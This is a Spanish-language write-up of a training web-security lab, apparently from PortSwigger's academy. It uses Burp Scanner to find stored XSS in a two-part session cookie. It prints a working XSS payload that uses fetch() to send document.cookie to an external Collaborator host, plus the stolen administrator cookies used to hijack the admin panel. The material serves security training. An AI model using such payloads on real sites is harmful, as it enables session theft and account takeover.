Entrada

Essential Skills Lab 2

Essential Skills Lab 2

Skills

  • Scanning non-standard data structures

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad que es difícil de encontrar manualmente. Se encuentra en una estructura de datos no estándar. Para resolver el laboratorio, debemos usar la función Scan selected insertion point de Burp Scanner para identificar la vulnerabilidad, luego explotarla manualmente y eliminar al usuario carlos. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account y nos logueamos con las credenciales wiener:peter

Recargamos con F5 y capturamos la petición con Burpsuite

El formato de la cookie es bastante extraño

1
session=wiener:zqEeGuTsB0x4zgTkv5Pl3BDpMbM4KYDL

Si la estructura de datos fuera estándar, es decir que tuviera un solo campo podríamos marcar todo el dato de forma completa de esta manera

1
session=zqEeGuTsB0x4zgTkv5Pl3BDpMbM4KYDL

Sin embargo, en este caso, parece que se trata de dos estructuras de datos diferentes. Por ello, no tendría sentido manejarlo de esta manera, ya que Burp Suite enviaría un único payload para toda la estructura. En estos casos, o cuando trabajamos con un JSON, lo mejor es enviar la petición al Intruder, establecer puntos de inserción (insertion points) en cada dato y escanear los valores de manera independiente y no como un único bloque. Cuando se abra la nueva ventana en Burp Intruder, debemos pulsar en OK y comenzará el escaneo

Si nos vamos a Dashboard veremos que nos ha detectado un XSS, aunque ponga audit finished necesitaremos esperar un poco más de tiempo para que nos muestre lo que ha encontrado

Este es el payload que vamos a usar ahora para obtener la cookie, debemos usar Burpsuite Collaborator para que nos mande ahí las peticiones

1
Cookie: session='"><svg/onload=fetch(`//ird4jrrnt2mjjytc1bdncj4v8mee24qt.oastify.com/${encodeURIComponent(document.cookie)}`)>:gzUjX1PEjSeUz0hi59YqWXwVpEiCHt9x

Para encodear el payload de la misma forma en la que está, debemos usar el inspector de Burpsuite, el cual se encargará de encodearlo de la misma forma en la que está el anterior

Una vez enviada la petición, nos llega esto a Burpsuite Collaborator

El inspector de Burpsuite lo decodea por nosotros y vemos que estas son las cookies del usuario administrator

1
/session=administrator:iwnc8XhMT4HzCj2ScdD2qDuwKRG7AJhD; secret=jPNSk5gKjLbTQaTMWbYl81pU2rTtXufm; session=administrator:iwnc8XhMT4HzCj2ScdD2qDuwKRG7AJhD

Nos vamos al navegador y pulsamos Ctrl + Shift + i y vemos que tenemos varios campos de cookies

Sustituimos los campos de cookies y pulsamos F5 para refrescar la web

Ya tenemos acceso al panel de administrador y podemos eliminar al usuario carlos

Vemos que hay una parte llamada View Logs, aquí es donde se ha producido el XSS debido a que el usuario administrator se encontraba revisándolo

Esta entrada está licenciada bajo CC BY 4.0 por el autor.